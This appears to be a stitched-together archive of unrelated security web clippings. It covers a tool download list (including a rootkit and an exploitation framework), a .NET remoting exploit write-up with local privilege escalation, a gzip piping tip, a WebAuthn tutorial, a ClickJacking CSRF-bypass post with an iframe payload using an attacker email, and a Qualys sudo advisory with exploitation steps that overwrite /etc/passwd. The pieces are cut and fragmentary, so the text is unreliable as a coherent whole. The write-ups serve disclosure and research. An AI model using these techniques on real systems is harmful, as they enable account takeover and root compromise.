Download Tarball  
  
**VAASeline 1.00**  
Download Tarball  
View flash demo  
  
**DR RootKit**  
An IA32 Debug Register based rootkit \(last updated: 9/4/2008 SHA1:
2048f537ab3459b21150c2d0b09a042737758d39\)

Download Current Tarball  
  
**Ply 1.4 C**  
A modified version of ply version 1.4 \(current is 2.2\) used internally by
MOSDEF.

Download current source tree  
  
**Unmidl**  
A Python utility for recovering typelib data, similar to Matthew Chapman's
"muddle" program. Especially useful when a contractor has delivered a server
but forgotten to include the interface file.

Download Current Tarball  
  
**libdisassemble**  
A Python library that will disassemble X86.

Download Current Tarball  
  
**SPIKE**  
When you need to analyze a new network protocol for buffer overflows or
similar weaknesses, the SPIKE is the tool of choice for professionals. While
it requires a strong knowledge of C to use, it produces results second to none
in the field. SPIKE is available for the Linux platform only.  
Download Current Tarball | Papers on SPIKE | Access SPIKE Mailing List  
  
**SPIKE Proxy**  
Not all web applications are built in the same ways, and hence, many must be
analyzed individually. SPIKE Proxy is a professional-grade tool for looking
for application-level vulnerabilities in web applications. SPIKE Proxy covers
the basics, such as SQL Injection and cross-site-scripting, but it's
completely open Python infrastructure allows advanced users to customize it
for web applications that other tools fall apart on. SPIKE Proxy is available
for Linux and Windows.  
  
Note: that SPIKE Proxy requires a working install of Python and pyOpenSSL on
Linux. This is included in the Windows distribution  
Download for Linux | Download for Windows | Access SPIKE Mailing List  
  
**Unmask**  
Unmask was released in 2002 as a demonstration of how to fingerprint users
based only on their emails or IRC postings.  
Download  
  
**MOSDEF**  
MOSDEF is a next generation exploitation tool. As a pure-Python C compiler, it
offers advantages other techniques don't.  
Download | Papers | Mailing List  
  
**Sharefuzz**  
The original environment variable fuzzer for Unixes that support loading a
shared library. \(AUTHOR: Dave Aitel. License: GPL\)  
Download  
  
**Aircrack-ng SILICAQ Mod**  
Modified Aircrack-ng used in SILICAQ.  
Download

# Tyranid's Lair: Stupid is as Stupid Does When It Comes to .NET Remoting

**Created:**| _11/25/2014 11:51:24 AM_  
---|---  
**Updated:**| _11/25/2014 11:51:24 AM_  
**Author:**| __  
**Tags:**| __  
  

# Stupid is as Stupid Does When It Comes to .NET Remoting

Finding vulnerabilities in .NET is something I quite enjoy, it generally meets
my criteria of only looking for logic bugs. Probably the first research I did
was into .NET serialization where I got some interesting results, and my first
Blackhat USA presentation slot. One of the places where you could abuse
serialization was in .NET remoting, which is a technology similar to Java RMI
or CORBA to access .NET objects remotely \(or on the same machine using IPC\).
Microsoft consider it a legacy technology and you shouldn't use it, but that
won't stop people.  
  
One day I came to the realisation that while I'd talked about how dangerous it
was I'd never released any public PoC for exploiting it. So I decided to start
writing a simple tool to exploit vulnerable servers, that was my first
mistake. As I wanted to fully understand remoting to write the best tool
possible I decided to open my copy of Reflector, that was my second mistake. I
then looked at the code, sadly that was my last mistake.  
  
TL;DR you can just grab the tool and play. If you want a few of the sordid
details of CVE-2014-1806 and CVE-2014-4149 then read on.

###  .NET Remoting Overview

Before I can describe what the bug is I need to describe how .NET remoting
works a little bit. Remoting was built into the .NET framework from the very
beginning. It supports a pluggable architecture where you can replace many of
the pieces, but I'm just going to concentrate on the basic implementation and
what's important from the perspective of the bug. MSDN has plenty of resources
which go into a bit more depth and there's always the official documentation
MS-NRTP and MS-NRBF. A good description is available here.  
  
The basics of .NET remoting is you have a server class which is derived from
the MarshalByRefObject class. This indicates to the .NET framework that this
object can be called remotely. The server code can publish this server object
using the remoting APIs such as
RemotingConfiguration.RegisterWellKnownServiceType. On the client side a call
can be made to APIs such as Activator.GetObject which will establish a
transparent proxy for the Client. When the Client makes a call on this proxy
the method information and parameters is packaged up into an object which
implements the IMethodCallMessage interface. This object is sent to the server
which processes the message, calls the real method and returns the return
value \(or exception\) inside an object which implements the
IMethodReturnMessage interface.  
  
When a remoting session is constructed we need to create a couple of Channels,
a Client Channel for the client and a Server Channel for the server. Each
channel contains a number of pluggable components called sinks. A simple
example is shown below:

<img src='img/Temp2_8650.png' />

The transport sinks are unimportant for the vulnerability. These sinks are
used to actually transport the data in some form, for example as binary over
TCP. The important things to concentrate on from the perspective of the
vulnerabilities are the _Formatter Sinks_ and the _StackBuilder Sink_.  
  
Formatter Sinks take the _IMethodCallMessage_ or _IMethodReturnMessage_
objects and format their contents so that I can be sent across the transport.
It's also responsible for unpacking the result at the other side. As the
operations are asymmetric from the channel perspective there are two different
formatter sinks, IClientChannelSink and IServerChannelSink.  
  
While you can select your own formatter sink the framework will almost always
give you a formatter based on the BinaryFormatter object which as we know can
be pretty dangerous due to the potential for deserialization bugs. The client
sink is implemented in BinaryClientFormatterSink and the server sink is
BinaryServerFormatterSink.  
  
The StackBuilder sink is an internal only class implemented by the framework
for the server. It's job is to unpack the _IMethodCallMessage_ information,
find the destination server object to call, verify the security of the call,
calling the server and finally packaging up the return value into the
_IMethodReturnMessage_ object.  
  
This is a very high level overview, but we'll see how this all interacts soon.

###  The Exploit

Okay so on to the actual vulnerability itself, let's take a look at how the
_BinaryServerFormatterSink_ processes the initial .NET remoting request from
the client in the _ProcessMessage_ method:

[code]

    IMessage requestMsg;
    
    if (this.TypeFilterLevel != TypeFilterLevel.Full)
    {
         set = new PermissionSet(PermissionState.None);
         set.SetPermission(
               new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
    }
    try
    {
        if (set != null)
        {
            set.PermitOnly();
        }
        requestMsg = CoreChannel.DeserializeBinaryRequestMessage(uRI, requestStream, 
                   _strictBinding, TypeFilterLevel);
    }
    finally
    {
        if (set != null)
        {
             CodeAccessPermission.RevertPermitOnly();
        }
    }
[/code]

We can see in this code that the request data from the transport is thrown
into the DeserializeBinaryRequestMessage. The code around it is related to the
serialization type filter level which I'll describe later. So what's the
method doing?

[code]

    internal static IMessage DeserializeBinaryRequestMessage(string objectUri, 
                  Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel)
    {
        BinaryFormatter formatter = CreateBinaryFormatter(false, bStrictBinding);
        formatter.FilterLevel = securityLevel;
        UriHeaderHandler handler = new UriHeaderHandler(objectUri);
        return (IMessage) formatter.UnsafeDeserialize(inputStream, 
                  new HeaderHandler(handler.HeaderHandler));
    }
    
[/code]

  
For all intents and purposes it isn't doing a lot. It's passing the request
stream to a _BinaryFormatter_ and returning the result. The result is cast to
an _IMessage_ interface and the object is passed on for further processing.
Eventually it ends up passing the message to the StackBuilder sink, which
verifies the method being called is valid then executes it. Any result is
passed back to the client.  
  
So now for the bug, it turns out that nothing checked that the result of the
deserialization was a local object. Could we instead insert a remote
_IMethodCallMessage_ object into the serialized stream? It turns out yes we
can. Serializing an object which implements the interface but also derived
from _MarshalByRefObject_ serializes an instance of an ObjRef class which
points back to the client.  
  
But why would this be useful? Well it turns out there's a Time-of-Check Time-
of-Use vulnerability if an attacker could return different results for the
MethodBase property. By returning a _MethodBase_ for _Object.ToString_ \(which
is always allowed\) as some points it will trick the server into dispatching
the call. Now once the _StackBuilder_ sink goes to dispatch the method we
replace it with something more dangerous, say _Process.Start_ instead. And
you've just got arbitrary code to execute in the remoting service.  
  
In order to actually exploit this you pretty much need to implement most of
the remoting code manually, fortunately it is documented so that doesn't take
very long. You can repurpose the existing .NET _BinaryFormatter_ code to do
most of the other work for you. I'd recommand taking a look at the github
project for more information on how this all works.  
  
So that was CVE-2014-1806, but what about CVE-2014-4149? Well it's the same
bug, MS didn't fix the TOCTOU issue, instead they added a call to
RemotingServices.IsTransparentProxy just after the deserialization.
Unfortunately that isn't the only way you can get a remote object from
deserialization. .NET supports quite extensive COM Interop and as luck would
have it all the _IMessage_ interfaces are COM accessible. So instead of a
remoting object we instead inject a COM implementation of the
IMethodCallMessage interface \(which ironically can be written in .NET
anyway\). This works best locally as they you don't need to worry so much
about COM authentication but it should work remotely. The final fix was to
check if the object returned is an instance of _MarshalByRefObject_ , as it
turns out that the transparent COM object, _System.\_\_ComObject_ is derived
from that class as well as transparent proxies.  
  
Of course if the service is running with a _TypeFilterLevel_ set to _Full_
then even with these fixes the service can still be vulnerable. In this case
you can deserialize anything you like in the initial remoting request to the
server. Then using reflecting object tricks you can capture FileInfo or
DirectoryInfo objects which give access to the filesystem at the privileges of
the server. The reason you can do this is these objects are both serializable
and derive from _MarshalByRefObject_. So you can send them to the server
serialized, but when the server tries to reflect them back to the client it
ends up staying in the server as a remote object.

###  Real-World Example

Okay let's see this in action in a real world application. I bought a computer
a few years back which had pre-installed the Intel Rapid Storage Technology
drivers version 11.0.0.1032 \(the specific version can be downloaded here\).
This contains a vulnerable .NET remoting server which we can exploit locally
to get local system privileges. A _note_ before I continue, from what I can
tell the latest versions of these drivers no longer uses .NET remoting for the
communication between the user client and the server so I've never contacted
Intel about the issue. That said there's no automatic update process so if,
like me you had the original insecure version installed well you have a
trivial local privilege escalation on your machine :-\(  
  
Bringing up Reflector and opening the _IAStorDataMgrSvc.exe_ application
\(which is the local service\) we can find the server side of the remoting
code below:

[code]

    public void Start()
    {
        BinaryServerFormatterSinkProvider serverSinkProvider
            new BinaryServerFormatterSinkProvider {
               TypeFilterLevel = TypeFilterLevel.Full
        };
        BinaryClientFormatterSinkProvider clientSinkProvider = new BinaryClientFormatterSinkProvider();
        IdentityReferenceCollection groups = new IdentityReferenceCollection();
    
        IDictionary properties = new Hashtable();
        properties["portName"] = "ServerChannel";
        properties["includeVersions"] = "false";
        mChannel = new IpcChannel(properties, clientSinkProvider, serverSinkProvider);
        ChannelServices.RegisterChannel(mChannel, true);
        mServerRemotingRef = RemotingServices.Marshal(mServer,
            "Server.rem", typeof(IServer));
        mEngine.Start();
    }
    
[/code]

  
So there's a few thing to note about this code, it is using _IpcChannel_ so
it's going over named pipes \(reasonable for a local service\). It's setting
the _portName_ to _ServerChannel_ , this is the name of the named pipe on the
local system. It then registers the channel with the secure flag set to True
and finally it configures an object with the known name of _Server.rem_ which
will be exposed on the channel. Also worth nothing it is setting the
_TypeFilterLevel_ to _Full_ , we'll get back to that in a minute.  
  
For exploitation purposes therefore we can build the service URL as
_ipc://ServerChannel/Server.rem_. So let's try sending it a command. In this
case I had updated for the fix to CVE-2014-1806 but not for CVE-2014-4149 so
we need to pass the _-usecom_ flag to use a COM return channel.

<img src='img/Temp2_8651.png' />

Well that was easy, direct code execution at local system privileges. But of
course if we now update to the latest version it will stop working again.
Fortunately though I highlighted that they were setting the _TypeFilterLevel_
to _Full_. This means we can still attack it using arbitrary deserialization.
So let's try and do that instead:

<img src='img/Temp2_8652.png' />

In this case we know the service's directory and can upload our custom
remoting server to the same directory the server executes from. This allows us
to get full access to the system. Of course if we don't know where the server
is we can still use the _-useser_ flag to list and modify the file system
\(with the privileges of the server\) so it might still be possible to exploit
even if we don't know where the server is running from.

###  Mitigating Against Attacks

I can't be 100% certain there aren't other ways of exploiting this sort of
bug, at the least I can't rule out bypassing the _TypeFilterLevel_ stuff
through one trick or another. Still there are definitely a few ways of
mitigating it. One is to not use remoting, MS has deprecated the technology
for _WCF_ , but it isn't getting rid of it yet.

If you have to use remoting you could use secure mode with user account
checking. Also if you have complete control over the environment you could
randomise the service name per-deployment which would at least prevent mass
exploitation. An outbound firewall would also come in handy to block outgoing
back channels.

Posted by tiraniddo at 15:14

# Gzip Decompression Via Pipes

**Created:**| _5/7/2017 10:16:18 AM_  
---|---  
**Updated:**| _5/7/2017 10:16:18 AM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

  

### Gzip Decompression Via Pipes

Filed under: My Software — Didier Stevens @ 0:00  

A good friend asked me how to decompress a gzip compressed file, stored inside
a McAfee quarantine file. On Linux, it’s simple, using the punbup.py tool.
Like this:

punbup.py -f quarantine.bup | gzip -d
Option -f dumps the first file in the quarantine file to the pipe of gzip,
which decompresses the file and dumps it to stdout.

On Windows, where you have no gzip \(unless you use Cygwin or a similar
solution\), you can use my translate.py tool.

translate has 2 modes of operation: translate byte per byte, or translate the
complete byte sequence in one go.

By default, translate operates in byte per byte mode. To operate on the
complete byte sequence, you use option -f. The translation expression \(a
Python expression\) needs to be a lambda function when you use option -f. It
receives the complete byte sequence as argument, and must return the
translated byte sequence. So we need to use the gzip Python module for
decompression, and the StringIO Python module to operate in memory \(and not
with files\). This is the lambda function \(argument b is the byte sequence,
e.g. the quarantined file\):

lambda b: gzip.GzipFile\(”, ‘r’, fileobj=StringIO\(b\)\).read\(\)

As translate does not import the gzip Python module \(it does import the
StringIO Python module however\), we need to import it using option -e:

-e -“import gzip”
The complete command is:

punbup.py -f quarantine.bup | translate.py -e “import gzip” -f “lambda b: gzip.GzipFile\(”, ‘r’, fileobj=StringIO\(b\)\).read\(\)”
  

# Using Hardware Token-based 2FA with the WebAuthn API – Mozilla Hacks - the
Web developer blog

**Created:**| _5/25/2018 10:49:25 AM_  
---|---  
**Updated:**| _5/28/2018 8:38:47 AM_  
**Author:**| _wishi_  
**Tags:**| _web browser webauth_  
  

  

#

acks on YouTube ____@mozhacks on Twitter ____Hacks RSS Feed

# Using Hardware Token-based 2FA with the WebAuthn API

###  <img src='img/64eb1412c9354cf356df31936368cdac.jpg' width='64' /> By J.C.
Jones, Tim Taubert

Posted on  January 16, 2018  in Featured Article, Security, and Web APIs

Share This

To provide higher security for logins, websites are deploying two-factor
authentication \(2FA\), often using a smartphone application or text messages.
Those mechanisms make phishing harder but fail to prevent it entirely — users
can still be tricked into passing along codes, and SMS messages can be
intercepted in various ways.

Firefox 60 will ship with the WebAuthn API enabled by default, providing two-
factor authentication built on public-key cryptography immune to phishing as
we know it today. Read on for an introduction and learn how to secure millions
of users already in possession of FIDO U2F USB tokens.

## Creating a new credential

Let’s start with a simple example: this requests a new credential compatible
with a standard USB-connected FIDO U2F device; there are many of these
compliant tokens sold with names like Yubikey, U2F Zero, and others:

const cose\_alg\_ECDSA\_w\_SHA256 = -7;

  

/\* The challenge must be produced by the server \*/

let challenge = new Uint8Array\(\[21,31,105 /\* 29 more random bytes generated
by the server \*/\]\);

let pubKeyCredParams = \[\{

type: "public-key",

alg: cose\_alg\_ECDSA\_w\_SHA256

\}\];

let rp = \{

name: "Test Website"

\};

let user = \{

name: "Firefox User <firefox@example.com>",

displayName: "Firefox User",

id: new TextEncoder\("utf-8"\).encode\("firefox@example.com"\)

\};

  

let publicKey = \{challenge, pubKeyCredParams, rp, user\};

navigator.credentials.create\(\{publicKey\}\)

.then\(decodeCredential\);

In the case of USB U2F tokens, this will make all compatible tokens connected
to the user’s system wait for user interaction. As soon as the user touches
any of the devices, it generates a new credential and the Promise resolves.

The user-defined function decodeCredential\(\) will decode the response to
receive a key handle, either a handle to the ECDSA key pair stored on the
device or the ECDSA key pair itself, encrypted with a secret, device-specific
key. The public key belonging to said pair is sent in the clear.

The key handle, the public key, and a signature must be verified by the
backend using the random challenge. As a credential is cryptographically tied
to the web site that requested it, this step would fail if the origins don’t
match. This prevents reuse of credentials generated for other websites.

The key handle and public key will from now on be associated with the current
user. The WebAuthn API mandates no browser UI, which means it’s the sole
responsibility of the website to signal to users they should now connect and
register a token.

## Getting an assertion for an existing credential

The next time the user logs into the website they will be required to prove
possession of the second factor that created the credential in the previous
section. The backend will retrieve the key handle and send it with a new
challenge to the user. As allowCredentials is an array, it allows sending more
than one token, if multiple tokens are registered with a single user account.

/\* The challenge must be produced by the server \*/

let challenge = new Uint8Array\(\[42,42,33 /\* 29 more random bytes generated
by the server \*/\]\);

let key = new Uint8Array\(/\* … retrieve key handle … \*/\);

  

let allowCredentials = \[\{

type: "public-key",

id: key,

transports: \["usb"\]

\}\];

  

let publicKey = \{challenge, allowCredentials\};

  

navigator.credentials.get\(\{publicKey\}\)

.then\(decodeAssertion\);

Again, all connected USB U2F tokens will wait for user interaction. When the
user touches a token it will try to either find the stored key handle with the
given ID, or try to decrypt it with the internal secret key. On success, it
will return a signature. Otherwise the authentication flow will abort and will
need to be retried by the website.

After decoding, the signature and the key handle that were used to sign are
sent to the backend. If the public key stored with the key handle is able to
verify the given signature over the provided challenge, the assertion is
considered valid and the user will be logged in.

## First Factor Authentication

Web Authentication also defines the mechanisms to log in without a username
and password at all using a secure token － such as the trusted execution
environment on your smartphone. In this mode, your token would attest that you
not only have possession of it, but also that you, as a person, unlocked the
token using a passcode \(something you know\) and/or a biometric \(something
you are\).

In this world, websites could let you enroll to perform seamless
authentication to a web application on your desktop by answering a prompt
which appears on your smartphone.

The FIDO U2F tokens deployed today aren’t sophisticated enough to make this
happen yet, but the next generation of tokens will be, and web developers will
interact with those FIDO 2.0 tokens using Web Authentication.

## WebAuthn, coming to a Firefox near you

This was a very short introduction to the world of Web Authentication and it
intentionally omits a lot of nitty-gritty details such as CBOR encoding and
COSE\_Key formats, as well as further parameters that can be passed to the
.create\(\) and .get\(\) functions.

We would like to encourage developers to start experimenting with WebAuthn,
and allow users to secure their logins with second factors, as the API becomes
available. We are not aware of any WebAuthn-U2F polyfill libraries at the time
of writing, but hope that these will be available soon. If you have seen
something promising, please let us know in the comments.

It is very exciting to bring standardized two-factor authentication to the
web; public-key cryptography already protects our data as it travels the
Internet via the TLS protocol, and now we can use it to make phishing a lot,
lot harder. Give WebAuthn a try in Firefox Nightly\!

<img src='img/20180111_162351-500x411.jpg' width='500' />  

### A final note about testing

Web Authentication is a powerful feature. As such, it can only be used in
Secure Contexts, and if used in a frame, only when all of the frames are from
the same origin as the parent document. This means that you are likely to
encounter security errors when experimenting with it on some popular testing
websites \(such as jsfiddle.net\).

## About  J.C. Jones

Keeping people safe on the 'net. Heads up Crypto Engineering within Mozilla.

  * __https://tacticalsecret.com/
  * __@JamesPugJones

More articles by J.C. Jones…

## About  Tim Taubert

Security Engineer working on Firefox and NSS.

  * __https://timtaubert.de/
  * __@ttaubert

More articles by Tim Taubert…

## Learn the best of web development

Sign up for the Mozilla Developer Newsletter:

E-mail

I'm okay with Mozilla handling my info as explained in this Privacy Policy.

* * *
### 9 comments

  1. T
> Totally unclear what runs in the server, and what in the client.
> Can you provide a full worked example, including both sides ?
January 17th, 2018 at 04:33

    1. •  J.C. Jones AUTHOR
> Sorry for the confusion\! As for full open-source implementations, we’re
> aware of google/webauthndemo, but it doesn’t appear to be fully caught up to
> the current state of the specification, so it doesn’t work yet in Firefox.
> It looks like there’s activity happening, though. That repository is also a
> good example of the split of client/server responsibility when you run
> through the code, even if the code isn’t quite finished.
January 17th, 2018 at 06:27

  2. Eli F.
> Duo Lab’s put together a demonstration app here: https://github.com/duo-
> labs/webauthn\#webauthn-demo
> I can’t speak to how fully it implements the specification but it looks
> useful for exploring.
January 22nd, 2018 at 05:24

  3. desar
> The sample code in this blog isn’t very helpful.
> The W3C draft already has the sample code. Check chapter 12.
> http://www.w3.org/TR/webauthn/
> You got the credential, so what. You need to check/verify it.
> The W3C draft doesn’t have the sample code but it has the spec.
> If you have time you should check it out.
> Look at webauthn.bin.coffee for sample on how to verify
> the credential on client side \(browser\). Checking on client
> is not ideal, this only a POC/sample of course.
> https://webauthn.bin.coffee/
> https://github.com/jcjones/webauthn.bin.coffee
> The spec has more than U2F, but current sample are focusing on that.
> Since security key is easy to get/make.
> For client server implementation vendor is working on their proprietary code
> I guess.
> But, Duo Lab’s sample above is worth checking. Hope more open source
> community effort for this
> to be success.
> BTW, if anyone interested, Chrome also had working beta today.
> https://groups.google.com/a/fidoalliance.org/forum/\#\!topic/fido-
> dev/GH7AahxrE8o
> http://webauthndemo.appspot.com/
January 24th, 2018 at 17:25

    1. kaiju
> I wrote Duo Labs’ blog post and code repo. If you have any questions about
> the how the server side code works, feel free to message me at
> https://twitter.com/codekaiju
> You can also check out the repo’s code in production at https://webauthn.io
January 31st, 2018 at 14:39

  4. James Ahern
> Thanks for the great article. I believe that Mozilla will be releasing this
> with Firefox 60. Will the security.webauth.webauthn flag remain and/or will
> it be true by default?
January 30th, 2018 at 07:45

    1. •  J.C. Jones AUTHOR
> The flag will remain, but is being set true by default. Thanks\!
January 30th, 2018 at 08:46

      1. James Ahern
> Really appreciate you taking the time to reply. Thanks, James
January 31st, 2018 at 08:50

  5. Wellington Torrejais da Silva
> Nice, very useful.
February 9th, 2018 at 07:58

Comments are closed for this article.

Except where otherwise noted, content on this site is licensed under the
Creative Commons Attribution Share-Alike License v3.0 or any later version.

<img src='img/dino.svg' />

  

# Attack and Defense Labs: Bypassing CSRF protections with ClickJacking and
HTTP Parameter Pollution

**Created:**| _3/11/2010 7:43:17 PM_  
---|---  
**Updated:**| _3/11/2010 7:43:35 PM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark web programming xss csrf_  
  

### Bypassing CSRF protections with ClickJacking and HTTP Parameter Pollution

This idea occurred to me a few weeks back when discussing the potential impact
of ClickJacking attacks with Luca. Submitting forms using ClickJacking is hard
work and is only successful in very rare scenarios. TheTwitter ClickJacking
attack was one famous instance where form submission was involved, but it was
a form that was submitted over ‘GET’ request.  
  
In this post I will discuss a technique that can be used to bypassing any CSRF
counter measures and submit POST method -based forms with attacker controlled
data using ClickJacking. This works on JSP applications and partially on
ASP.NET applications.  
  
Let us take the case of a simple primary Email ID update form. Such forms are
common in many web applications. They are simple but extremely important, if
an attacker manages to force a victim to update his primary Email ID with that
of the attacker’s ID then the attacker can perform a password reset and
compromise the victim’s account.  
  
A sample Email ID update form is given below, this contains a ‘csrf-token’
parameter for CSRF protection:  
  

> <form method="POST">  
> <input type="text" name="email" value=””></input>  
> <input type="hidden" name=”csrf-token” value="a0a0a0a0a0a"/>  
> </form>
  
Let’s say this form is available at 'www.example.com/updateEmail.jsp'  
Since this form does not contain an ‘action’ attribute, on submission the form
will be submitted to the current URL in the address bar, which will be
‘www.example.com/updateEmail.jsp’.  
  
The source code of 'updateEmail.jsp' would typically look like this:  
  

> if \( request.parameter\("email"\).isSet\(\) && request.parameter\("csrf-
> token"\).isValid\(\) \)  
> \{  
> //process the form and update the email ID  
> \}  
> else  
> \{  
> //display an empty form to the user \(CSRF token included\)  
> \}
  
The application checks if the request contains a valid CSRF token, if not it
displays the form to the user.  
  
Now to submit our sample form using ClickJacking the attacker can include an
iframe like this  
'<iframe
src=”http://www.example.com/updateEmail.jsp?email=evil@attackermail.com”>'  
  
When this request goes to the server the application would display the update
form. When this form is submitted by the victim using ClickJacking the request
that is sent to the server is like this:  
  

> POST /updateEmail.jsp?email=evil@attackermail.com HTTP/1.1  
> Host: www.example.com  
>  
> email=&csrf-token=a0a0a0a0a0
  
Since the form was not filled by the victim, the email parameter in the POST
body is blank. However since the action attribute of the form was empty the
form is submitted to
www.example.com/updateEmail.jsp?email=evil@attackermail.com. Now the
QueryString contains the attacker entered value for the ‘email’ parameter.  
  
This request contains two values for the ‘email’ parameter, one in POST body
and one in QueryString. Enter HTTP Parameter Pollution, when the server side
JSP code calls request.parameter\("email"\), the value that is returned is the
one in the QueryString and not the POST body. Since this value can be
controlled by the attacker he can trick the victim in to updating his account
with the attacker’s mail ID.  
  
This attack can also work in cases when the form is submitted with JavaScript
like this:  
  

> <form onSubmit=process\(\)>  
> <input type="text" name="email" value=""></input>  
> <input type="hidden" name="csrf-token" value="a0a0a0a0a0a">  
> </form>  
>  
> <script>  
> function process\(\)  
> \{  
> //check if email is set  
> form.action = document.location; //document.location will give out the
> entire URL with parameters  
> form.method = "post";  
> form.submit\(\);  
> \}  
> </script>
  
Apart from JSP applications, this attack can be extended to ASP.NET
applications as well. However since ASP.NET appends a ‘,’\(comma\) between
duplicate parameters, it not as clean. But there are plenty of areas where
having a trailing ‘,’ won’t hurt.

# Binary Code Extraction and Interface Identification

**Created:**| _2/2/2010 6:49:14 PM_  
---|---  
**Updated:**| _2/2/2010 6:49:41 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification security reversing_  
  
<img src='img/Temp2_1030' />

# oss-security - Qualys Security Advisory - CVE-2017-1000367 in Sudo's
get\_process\_ttyname\(\) for Linux

**Created:**| _5/31/2017 6:08:26 PM_  
---|---  
**Updated:**| _5/31/2017 6:08:26 PM_  
**Author:**| __  
**Tags:**| _authentication bypass Linux_  
  

  

<img src='img/Temp2_10518.png' width='182' height='80' alt='Openwall' /> | 
  * Products
    * Openwall GNU/\*/Linux _server OS_
    * John the Ripper _password cracker_
      * Free & Open Source for any platform
      * Pro for Linux
      * Pro for Mac OS X
    * Wordlists _for password cracking_
    * passwdqc _policy enforcement_
      * Free & Open Source for Unix
      * Pro for Windows \(Active Directory\)
    * phpass _password hashing in PHP_
    * crypt\_blowfish _ditto in C/C++_
    * tcb _better password shadowing_
    * Pluggable Authentication Modules
    * scanlogd _port scan detector_
    * popa3d _tiny POP3 daemon_
    * blists _web interface to mailing lists_
    * msulogin _single user mode login_
    * php\_mt\_seed _mt\_rand\(\) cracker_
  * Services
  * Publications
    * Articles
    * Presentations
  * Resources
    * Mailing lists
    * Community wiki
    * Source code repository \(CVSweb\)
    * File archive & mirrors
    * How to verify digital signatures
    * OVE IDs
  * What's new

  
---|---  
|  Follow us on Twitter |  <img src='img/lg-share-en.gif' width='125' height='16' alt='Bookmark and Share' />  
---|---  
\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

[code]

    Date: Tue, 30 May 2017 08:16:29 -0700
    From: Qualys Security Advisory <qsa@...lys.com>
    To: oss-security@...ts.openwall.com
    Subject: Qualys Security Advisory - CVE-2017-1000367 in Sudo's
     get_process_ttyname() for Linux
    
    
    Qualys Security Advisory
    
    CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux
    
    
    ========================================================================
    Contents
    ========================================================================
    
    Analysis
    Exploitation
    Example
    Acknowledgments
    
    
    ========================================================================
    Analysis
    ========================================================================
    
    We discovered a vulnerability in Sudo's get_process_ttyname() for Linux:
    this function opens "/proc/[pid]/stat" (man proc) and reads the device
    number of the tty from field 7 (tty_nr). Unfortunately, these fields are
    space-separated and field 2 (comm, the filename of the command) can
    contain spaces (CVE-2017-1000367).
    
    For example, if we execute Sudo through the symlink "./     1 ",
    get_process_ttyname() calls sudo_ttyname_dev() to search for the
    non-existent tty device number "1" in the built-in search_devs[].
    
    Next, sudo_ttyname_dev() calls the function sudo_ttyname_scan() to
    search for this non-existent tty device number "1" in a breadth-first
    traversal of "/dev".
    
    Last, we exploit this function during its traversal of the
    world-writable "/dev/shm": through this vulnerability, a local user can
    pretend that his tty is any character device on the filesystem, and
    after two race conditions, he can pretend that his tty is any file on
    the filesystem.
    
    On an SELinux-enabled system, if a user is Sudoer for a command that
    does not grant him full root privileges, he can overwrite any file on
    the filesystem (including root-owned files) with his command's output,
    because relabel_tty() (in src/selinux.c) calls open(O_RDWR|O_NONBLOCK)
    on his tty and dup2()s it to the command's stdin, stdout, and stderr.
    This allows any Sudoer user to obtain full root privileges.
    
    
    ========================================================================
    Exploitation
    ========================================================================
    
    To exploit this vulnerability, we:
    
    - create a directory "/dev/shm/_tmp" (to work around
      /proc/sys/fs/protected_symlinks), and a symlink "/dev/shm/_tmp/_tty"
      to a non-existent pty "/dev/pts/57", whose device number is 34873;
    
    - run Sudo through a symlink "/dev/shm/_tmp/     34873 " that spoofs the
      device number of this non-existent pty;
    
    - set the flag CD_RBAC_ENABLED through the command-line option "-r role"
      (where "role" can be our current role, for example "unconfined_r");
    
    - monitor our directory "/dev/shm/_tmp" (for an IN_OPEN inotify event)
      and wait until Sudo opendir()s it (because sudo_ttyname_dev() cannot
      find our non-existent pty in "/dev/pts/");
    
    - SIGSTOP Sudo, call openpty() until it creates our non-existent pty,
      and SIGCONT Sudo;
    
    - monitor our directory "/dev/shm/_tmp" (for an IN_CLOSE_NOWRITE inotify
      event) and wait until Sudo closedir()s it;
    
    - SIGSTOP Sudo, replace the symlink "/dev/shm/_tmp/_tty" to our
      now-existent pty with a symlink to the file that we want to overwrite
      (for example "/etc/passwd"), and SIGCONT Sudo;
    
    - control the output of the command executed by Sudo (the output that
      overwrites "/etc/passwd"):
    
      . either through a command-specific method;
    
      . or through a general method such as "--\nHELLO\nWORLD\n" (by
        default, getopt() prints an error message to stderr if it does not
        recognize an option character).
    
    To reliably win the two SIGSTOP races, we preempt the Sudo process: we
    setpriority() it to the lowest priority, sched_setscheduler() it to
    SCHED_IDLE, and sched_setaffinity() it to the same CPU as our exploit.
    
    
    ========================================================================
    Example
    ========================================================================
    
    We will publish our Sudoer-to-root exploit
    (Linux_sudo_CVE-2017-1000367.c) in the near future:
    
    [john@...alhost ~]$ head -n 8 /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    
    [john@...alhost ~]$ sudo -l
    [sudo] password for john:
    ...
    User john may run the following commands on localhost:
        (ALL) /usr/bin/sum
    
    [john@...alhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum $'--\nHELLO\nWORLD\n'
    [sudo] password for john:
    
    [john@...alhost ~]$ head -n 8 /etc/passwd
    /usr/bin/sum: unrecognized option '--
    HELLO
    WORLD
    '
    Try '/usr/bin/sum --help' for more information.
    ogin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    
    
    ========================================================================
    Acknowledgments
    ========================================================================
    
    We thank Todd C. Miller for his great work and quick response, and the
    members of the distros list for their help with the disclosure of this
    vulnerability.
    
    
[/code]

Powered by blists \- more mailing lists

Your e-mail address:

_Please check out the Open Source Software Security Wiki, which is counterpart
to this mailing list._

<img src='img/Temp2_10517.png' width='80' height='15' alt='Powered by Openwall
GNU/*/Linux' /> <img src='img/Temp2_10519.png' width='80' height='15'
